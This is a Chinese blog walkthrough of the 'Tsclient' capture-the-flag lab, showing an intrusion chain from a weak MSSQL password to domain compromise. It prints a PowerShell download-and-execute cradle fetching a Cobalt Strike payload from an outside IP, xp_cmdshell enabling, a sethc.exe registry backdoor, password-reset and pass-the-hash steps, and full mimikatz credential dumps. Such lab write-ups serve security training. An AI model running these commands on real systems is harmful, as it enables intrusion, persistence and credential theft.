i春秋云镜之Tsclient

于 2023-12-15 21:46:29 发布
阅读量1k 收藏 18
点赞数 18
文章标签： 域渗透 网络安全 渗透测试 内网渗透
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_65550121/article/details/135025740
版权

首先拿到目标:39.99.137.155

首先通过Fscan扫描目标:
在这里插入图片描述
可以看到扫描出来了一个SqlServer的弱口令。

账号是sa，密码是1qaz!QAZ。

这里就不使用navicat进行连接了，这里使用impacket-mssqlclient进行连接。

impacket-mssqlclient sa:'1qaz!QAZ'@39.99.137.155 -port 1433

在这里插入图片描述
首先开启xpcmdshell:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

然后使用xpcmdshell执行命令。

exec xp_cmdshell 'dir c:\'

在这里插入图片描述
我们发现是权限是mssql权限，所以我们需要提权。

这里直接弹到cs上面:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://43.137.19.241:80/a'))"

在这里插入图片描述
但是需要注意的是会有标点符号的错误。

所以我们需要进行编码一下： https://r0yanx.com/tools/java_exec_encode/
在这里插入图片描述
拿到编码结果之后，然后运行。
在这里插入图片描述
可以看到已经上线了。
在这里插入图片描述
首先上传fscan。
在这里插入图片描述
然后使用fscan进行扫描内网。

fscan64.exe -h 172.22.8.0/24

172.22.8.15 DC
172.22.8.46 WIN2016.xiaorang.lab

在这里插入图片描述
我们可以发现这里面都是windows的机器，我们先提权。

这里使用PrintSpoofer64进行提权，可以发现已经提权成功了。
在这里插入图片描述
这里进行反弹shell。

这里使用之前的进行反弹shell。
在这里插入图片描述
然后通过mimikatz将密码或Hash。

beacon> hashdump
[*] Tasked beacon to dump hashes
[+] host called home, sent: 82549 bytes
[+] received password hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2caf35bb4c5059a3d50599844e2b9b1f:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
John:1008:aad3b435b51404eeaad3b435b51404ee:eec9381b043f098b011be51622282027:::

[*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
[+] host called home, sent: 787066 bytes
[+] received output:

Authentication Id : 0 ; 597160 (00000000:00091ca8)
Session           : RemoteInteractive from 2
User Name         : John
Domain            : WIN-WEB
Logon Server      : WIN-WEB
Logon Time        : 2023/9/10 12:58:55
SID               : S-1-5-21-4088072006-1921831747-1237773115-1008
	msv :	
	 [00000003] Primary
	 * Username : John
	 * Domain   : WIN-WEB
	 * NTLM     : eec9381b043f098b011be51622282027
	 * SHA1     : 18056c7dda082b2b219dbaac6157a1fb234403bc
	tspkg :	
	wdigest :	
	 * Username : John
	 * Domain   : WIN-WEB
	 * Password : (null)
	kerberos :	
	 * Username : John
	 * Domain   : WIN-WEB
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 570164 (00000000:0008b334)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2023/9/10 12:58:54
SID               : S-1-5-90-0-2
	msv :	
	tspkg :	
	wdigest :	
	 * Username : WIN-WEB$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 569758 (00000000:0008b19e)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2023/9/10 12:58:54
SID               : S-1-5-90-0-2
	msv :	
	tspkg :	
	wdigest :	
	 * Username : WIN-WEB$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 213937 (00000000:000343b1)
Session           : Service from 0
User Name         : MSSQLFDLauncher
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:27
SID               : S-1-5-80-3263513310-3392720605-1798839546-683002060-3227631582
	msv :	
	tspkg :	
	wdigest :	
	 * Username : WIN-WEB$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 105373 (00000000:00019b9d)
Session           : Service from 0
User Name         : MSSQLSERVER
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:16
SID               : S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003
	msv :	
	tspkg :	
	wdigest :	
	 * Username : WIN-WEB$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :	
	 * Username : MSSQLSERVER
	 * Domain   : NT Service
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 105176 (00000000:00019ad8)
Session           : Service from 0
User Name         : SSASTELEMETRY
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:16
SID               : S-1-5-80-1549978933-2891762758-2075524219-3728768389-1145206490
	msv :	
	tspkg :	
	wdigest :	
	 * Username : WIN-WEB$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :	
	 * Username : SSASTELEMETRY
	 * Domain   : NT Service
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 61591 (00000000:0000f097)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:14
SID               : S-1-5-90-0-1
	msv :	
	tspkg :	
	wdigest :	
	 * Username : WIN-WEB$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : WIN-WEB$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:14
SID               : S-1-5-20
	msv :	
	tspkg :	
	wdigest :	
	 * Username : WIN-WEB$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :	
	 * Username : win-web$
	 * Domain   : WORKGROUP
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 21788 (00000000:0000551c)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:04
SID               : 
	msv :	
	tspkg :	
	wdigest :	
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 597129 (00000000:00091c89)
Session           : RemoteInteractive from 2
User Name         : John
Domain            : WIN-WEB
Logon Server      : WIN-WEB
Logon Time        : 2023/9/10 12:58:55
SID               : S-1-5-21-4088072006-1921831747-1237773115-1008
	msv :	
	 [00000003] Primary
	 * Username : John
	 * Domain   : WIN-WEB
	 * NTLM     : eec9381b043f098b011be51622282027
	 * SHA1     : 18056c7dda082b2b219dbaac6157a1fb234403bc
	tspkg :	
	wdigest :	
	 * Username : John
	 * Domain   : WIN-WEB
	 * Password : (null)
	kerberos :	
	 * Username : John
	 * Domain   : WIN-WEB
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 320509 (00000000:0004e3fd)
Session           : Service from 0
User Name         : DefaultAppPool
Domain            : IIS APPPOOL
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:47
SID               : S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
	msv :	
	tspkg :	
	wdigest :	
	 * Username : WIN-WEB$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 995 (00000000:000003e3)
Session           : Service from 0
User Name         : IUSR
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:17
SID               : S-1-5-17
	msv :	
	tspkg :	
	wdigest :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 106406 (00000000:00019fa6)
Session           : Service from 0
User Name         : SSISTELEMETRY130
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:16
SID               : S-1-5-80-1625532266-625503396-2441596095-4129757946-3375356652
	msv :	
	tspkg :	
	wdigest :	
	 * Username : WIN-WEB$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 106366 (00000000:00019f7e)
Session           : Service from 0
User Name         : SQLTELEMETRY
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:16
SID               : S-1-5-80-2652535364-2169709536-2857650723-2622804123-1107741775
	msv :	
	tspkg :	
	wdigest :	
	 * Username : WIN-WEB$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :	
	 * Username : SQLTELEMETRY
	 * Domain   : NT Service
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 105681 (00000000:00019cd1)
Session           : Service from 0
User Name         : MsDtsServer130
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:16
SID               : S-1-5-80-3763098489-2620711134-3767674660-4164406483-1621732
	msv :	
	tspkg :	
	wdigest :	
	 * Username : WIN-WEB$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 105599 (00000000:00019c7f)
Session           : Service from 0
User Name         : ReportServer
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:16
SID               : S-1-5-80-2885764129-887777008-271615777-1616004480-2722851051
	msv :	
	tspkg :	
	wdigest :	
	 * Username : WIN-WEB$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :	
	 * Username : ReportServer
	 * Domain   : NT Service
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 105473 (00000000:00019c01)
Session           : Service from 0
User Name         : MSSQLServerOLAPService
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:16
SID               : S-1-5-80-2872255330-672591203-888807865-2791174282-1554802921
	msv :	
	tspkg :	
	wdigest :	
	 * Username : WIN-WEB$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :	
	 * Username : MSSQLServerOLAPService
	 * Domain   : NT Service
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:14
SID               : S-1-5-19
	msv :	
	tspkg :	
	wdigest :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	kerberos :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 61626 (00000000:0000f0ba)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:14
SID               : S-1-5-90-0-1
	msv :	
	tspkg :	
	wdigest :	
	 * Username : WIN-WEB$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : WIN-WEB$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 2023/9/10 12:57:04
SID               : S-1-5-18
	msv :	
	tspkg :	
	wdigest :	
	 * Username : WIN-WEB$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :	
	 * Username : win-web$
	 * Domain   : WORKGROUP
	 * Password : (null)
	ssp :	
	credman :

可以看到我们得到了John用户的Hash。

我们在查看query user的时候发现有一个用户产生的会话。
在这里插入图片描述
我们查看一下3389端口。
在这里插入图片描述
可以看到有内网的其他主机连接了我们的3389端口。

这里可能存在一个RDP反打， 参考文章：https://mp.weixin.qq.com/s/0dY0Gj2HxYw_EYhxixKzvQ

因为它在远程连接我们的时候把磁盘也挂载过来了，这里由于我们不能让对面那台主机重启所以我们不能通过写启动项的方式让他上线但我们在对方的C盘发现了一个用户以及提示的信息接下来就是进一步的操作这里先把权限切换到John用户。

我们可以查看共享文件。

net use

在这里插入图片描述
可以看到John是在远程组中的。
在这里插入图片描述
这里很明显要我们用这个因为又是远程组又是管理员组远程桌面挂载的磁盘是在\\tsclient\这个下面在查看之前我们还需要把权限切换为John因为对方远程登录的是这个桌面这里切忌一定不要远程上去你一旦远程上去 对方的连接就会断开 他的C盘也会断开所以你收集不到他的磁盘信息了迁移到John的进程上去ps查看以后迁移获得一个john用户的会话

迁移完进程之后w查看\tsclient\目录可以发现有一个credential.txt文件。
在这里插入图片描述
我们查看这个文件。可以发现它是一个域用户和密码。
在这里插入图片描述
里我们直接搭建一个socks4代理，然后rdp上去8.46这台主机。

但是用windows mstsc去登录的时候提示密码过期了，这里我们需要去使用rdesktop去登录。

proxychains rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab -p 'Ald@rLMWuy7Z!#'

在这里插入图片描述
这里同样我们也可以使用smbpasswd来进行密码修改。

proxychains python3 smbpasswd.py xiaorang.lab/Aldrich:'Admin123..'@172.22.8.15 -newpass qwer1234!

修改完密码之后，我们查看下这个账户都有那些主机可以登录。

查看注册表权限，发现所有用户都对HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options创建和写入。
在这里插入图片描述
写入后门：

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

在这里插入图片描述
连续按5下shift。
在这里插入图片描述
然后我们通过bloodhound.py进行域内信息收集。

proxychains python3 bloodhound.py -d xiaorang.lab -u Aldrich -p Admin123.. -gc DC01.xiaorang.lab -c all --dns-tcp -ns 172.22.8.15

在这里插入图片描述
在这里插入图片描述
然后我们上传mimikatz到WIN2016里面。

然后将密码导出:
在这里插入图片描述

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # sekurlsa::logonpasswords

Authentication Id : 0 ; 19739416 (00000000:012d3318)
Session           : RemoteInteractive from 2
User Name         : Aldrich
Domain            : XIAORANG
Logon Server      : DC01
Logon Time        : 2023/9/10 15:08:53
SID               : S-1-5-21-3289074908-3315245560-3429321632-1105
	msv :	
	 [00000003] Primary
	 * Username : Aldrich
	 * Domain   : XIAORANG
	 * NTLM     : 283b022e27f25cd57ad5ebe1f468c04b
	 * SHA1     : b945edab59edbfa67346679a86d181e100f0a13c
	 * DPAPI    : db2e5b84ea0691c3ae7d57ae29af84cf
	tspkg :	
	wdigest :	
	 * Username : Aldrich
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : Aldrich
	 * Domain   : XIAORANG.LAB
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 19507835 (00000000:0129aa7b)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2023/9/10 15:06:13
SID               : S-1-5-90-0-2
	msv :	
	 [00000003] Primary
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * NTLM     : 4d52b3ef6bfb5be6c4223d9ec4dff5f2
	 * SHA1     : ba772a78c405b8de1452352b9c6c8752581b203a
	tspkg :	
	wdigest :	
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : WIN2016$
	 * Domain   : xiaorang.lab
	 * Password : 30 f1 3f 6f ad 57 45 34 07 55 41 35 61 82 7b 15 99 06 5d 56 2b 37 4b 2b 5d a8 b8 a2 97 0a 63 3a 44 52 88 bc de a1 14 35 1c 6e 0d 29 88 28 72 cf 31 f4 52 34 af 35 93 50 c7 42 6b

紧接着我们就可以直接hash传递了。
在这里插入图片描述

0x30sec
关注
  • 18
    点赞
  • 踩
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
春秋云镜靶场挑战——Tsclient
Cobra的博客
03-25 2609
目标IP：39.98.73.212 网络拓扑 入口机器 1、使用namp对目标IP进行扫描，发现目标开放了1433端口(MSSQL服务)，3389端口(RDP服务) 2、可以先爆破MSSQL服务，如下可以看出成爆破出密码 3、使用MDUT工具连接Mssql 4、使用xp_cmdshell执行命令发现只有一个比较地低的权限 5、使用CS生成木马，利用MDUT上传木马 6、执行木马上线CS C:/Users/Public/beacon.exe 7、使用土豆提
TS Client-开源
05-12
TS Client是一个多用户桌面应用程序，用于注册客户的数据，例如姓名，地址，联系方式，处方以及简单的发票和付款要求。 该程序是用100％纯Java开发的。 它开箱即用。
linux终端访问tsclient,linux远程连接windows(tsclient)
weixin_39538500的博客
05-09 941
Terminal Server Client(tsclient)是一个用于rdesktop的前端。它支持大多数rdesktop，tsclient是图形界面，命令行输入tsclient打开主界面，输入远程计算机IP，用户名和密码就可以连接。使用tsclient，必须安装rdesktop.tsclient安装成功后，可从菜单应用程序－＞Internet－＞终端服务客户端 打开.参数，能在Microso...
ubuntu9.10 的远程桌面客户端工具tsclient
周海汉的开发专栏
11-26 4714
周海汉 /文09.11.26 需求来源，linux对windows远程桌面进行管理，操作服务器数据库和网站等。linux 下有时候也需要对windows服务器进行管理，访问windows的远程桌面。这可以用rdesktop。而tsclient可以通过rdesktop对windows远程桌面进行访问，不过需要windows 打开终端服务。tsclient除了支持rdeskto
【渗透测试】Tsclient-春秋云镜 极致的工具化打法！
m0_74272345的博客
10-03 590
这个靶场是纯Windows靶场，有很多难点，也有很多可扩展学习的地方。fscan爆出MSSQL弱口令，通过MDUT工具拿下WIN-WEBRDP贯穿整个内网渗透的思路，是这个靶场的核心john用户用tsclient挂载C盘到WIN-WEB，把域内主机用户密码给泄露了，可以做密码喷洒攻击（密码碰撞）映像劫持提权：放大镜这个是直接拿WP的用，可以扩展学习impacket工具包的使用作为一个学习渗透从B站红队笔记开始的人，春秋云镜的靶场很多的使用工具让人有点略微不适应。
远程桌面mstsc情况下通过\\tsclient\盘符实现内容的拷贝
zhang6622056的专栏
05-03 1万+
在我们远程桌面的情况下一般需要拷贝内容： 拷贝内容的方式当然不是只有这一种。包括选项的一些勾选。但是个人觉得这个是最保险，而且可以行得通的： 现在将步骤一一列出： 1、客户端 开始-运行-mstsc 输入服务器账号密码 2、服务器端 开始-运行-\\tsclient\盘符 访问自己的机器。 3、拷贝即可
tsclient:寒意打字稿客户端
04-14
tsclient 安装 yarn add @getchill.app/tsclient 用法 import { Credentials , rpcService , RPCService , certPath , RPCError } from '@getchill.app/tsclient' export const creds : Credentials = new ...
wsdl-tsclient:从wsdl生成打字稿客户端
04-03
npm i -g wsdl-tsclient用法您可以检查示例存储库使用CLI生成客户端wsdl-tsclient ./soap.wsdl -o ./generated wsdl-tsclient ./resources/**/*.wsdl -o ./generated使用glob Version: 1.0.1Syntax: wsdl-tsclient ...
TPM：TSClient LEGACY软件包管理器（TPM）-TSClient LEGACY ThinClient操作系统的软件包管理器。 它完全用OCaml编写，并使用GNU Tar，GNU Gzip和来自GNU Coreutils或类似程序的工具
02-03
1. **OCaml编程语言**：TPM的独特之处在于它完全使用OCaml这种静态类型的函数式编程语言开发。OCaml以其高效的编译速度和强大的类型系统著称，这使得TPM具有较高的可靠性和性能。 2. **依赖于GNU工具链**：为了实现...
TPM2：TSClient LEGACY软件包管理器（TPM）的版本2-TSClient LEGACY ThinClient操作系统的软件包管理器的第二版本完全用C ++编写。 它使用GNU Tar，zlib，TinyXML2和SQLite作为软件包数据库
02-04
TPM2，全称为TSClient LEGACY的软件包管理器的第二版本，是专为TSClient LEGACY ThinClient操作系统设计的一个高效且强大的工具。这个软件包管理器是完全使用C++编程语言编写的，体现了C++在系统级编程中的应用优势...
Terminal Server Client [tsclient]:项目已被https://sourceforge.net/projects/remmina/取代-开源
05-14
终端服务器客户端[tsclient]是rdesktop和其他远程桌面工具的GTK2前端。 该项目已被Remmina取代-https://sourceforge.net/projects/remmina/
春秋云镜-Tsclient-Writeup
qq_35607078的博客
07-12 5670
春秋云镜-Tsclient-Writeup
靶场练习--春秋云境-Tsclient
NoooEmotion的博客
01-28 2184
Tsclient是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有3个flag，分布于不同的靶机。
春秋云镜 ----Tsclient（kking）
m0_60742333的博客
11-02 574
工具：Multiple.Database.Utilization.Tools-2.1.1-jar-with-dependencies.jar。在 cmd窗口中输入查找flag 03 （若提示密码不正确则返回上一步查看hash值是否传递正确）通过复制粘贴的形式将mimikatz从本地上传到远程，并以管理员身份运行。kali里太卡了，转用SocksCap64-4.7配代理远程连接。密码过期了，使用kali直接连接远程桌面修改密码。获取后进行hash传递。发现mssql弱口令漏洞，使用工具连接。
Hacker The Box 之 Archetype 8
Angelxiqi的博客
04-22 2976
非常非常详细
打点-进入内网（一）
qq_44555676的博客
08-24 684
应用系统漏洞利用常见漏洞扫描1.Nmap扫描技巧2.impacket框架之mssql服务器安全检测mssglclient与其他工具相比的优势Mssqlclient的基本使用命令为Impacket网络协议工具包安装举例分析几种实际使用情况3.读入数据 常见漏洞扫描 1.Nmap扫描技巧 auth 处理身份验证 broadcast 网络广播 brute 暴力猜解 default 默认 discovery 服务发现 dos 拒绝服务 exploit 漏洞利用 external 外部扩展 fuzzer 模糊测
Windows远程登录时共享本地硬盘
热门推荐
寒星轩
07-24 2万+
Windows远程登录我想大家都用过。但是如果在远程登录的时候需要拷贝远程电脑上的文件或文件夹改怎么办呢？在知道下面这个小窍门之前，我是这样做的：         1. 远程登录         2. 在远程的电脑上创建共享文件夹         3. 在本地的电脑上通过网络共享拷贝文件或文件夹         这样做虽然可以达到目的，可是跟我下面要说的方法比起来却麻烦了许多（尤其是要拷贝
开启rdp_RDP反向攻击
weixin_26757949的博客
01-13 983
RDP反向攻击介绍这里讲两种攻击方式：利用挂载盘符进行攻击利用CVE-2019-0887进行攻击两者都是在攻击的登录远程桌面时，向攻击者PC的启动目录写入恶意文件，需要重启才能运行恶意文件。我这里测试的时候，存在很多问题，尤其是后者，较不稳定，按照严格意义并没有复现成功，也许是操作系统问题，也许是代码问题。利用挂载盘符原理是通过访问tsclient，并通过目录遍历找到启动目录，将恶意文件...
Ichunqiu云境 —— Tsclient Writeup
WUfagg的博客
12-12 762
MSSQL，Privilege Escalation，Kerberos，域渗透，RDP
\\TSCLIENT\D\ZP20.XLS，是什么意思
最新发布
03-20
很抱歉，根据你提供的信息，我无法准确回答你关于"\\TSCLIENT\D\ZP20.XLS"的问题。"\\TSCLIENT\D\ZP20.XLS"看起来像是一个文件路径，但我无法确定具体是什么文件或者它的含义。如果你能提供更多的背景信息或者问题的上下文，我将尽力帮助你解答。以下是一些可能有助于你的问题： 1. "TSCLIENT"是什么意思？ 2. "D"代表什么？ 3. "ZP20.XLS"是什么类型的文件？ 4. 你需要关于该文件的哪方面的信息？ 请提供更多详细信息，以便我能够更好地回答你的问题。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值